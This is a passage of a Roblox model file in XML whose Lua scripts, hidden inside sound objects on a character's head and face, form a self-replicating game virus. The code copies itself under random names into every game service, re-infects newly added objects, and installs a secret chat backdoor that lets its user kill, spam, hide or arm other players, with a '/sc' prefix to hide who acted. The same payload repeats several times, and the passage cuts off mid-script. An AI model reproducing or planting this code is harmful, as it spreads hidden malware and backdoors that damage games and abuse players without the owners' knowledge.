for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX188">
				<Properties>
					<token name="Controller">7</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Figure</string>
					<Ref name="PrimaryPart">RBX189</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX189">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-9.0707655</X>
							<Y>4.79895973</Y>
							<Z>11.4658957</Z>
							<R00>-0.538089991</R00>
							<R01>7.44197024e-008</R01>
							<R02>0.842887282</R02>
							<R10>9.79912116e-008</R10>
							<R11>1</R11>
							<R12>-2.57348773e-008</R12>
							<R20>-0.842887282</R20>
							<R21>6.87478661e-008</R21>
							<R22>-0.538089991</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX190">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX191">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">lyquo7</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX192">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">xfie</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX193">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">face</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX194">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">y3rq</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX195">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">pxd3n5s</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
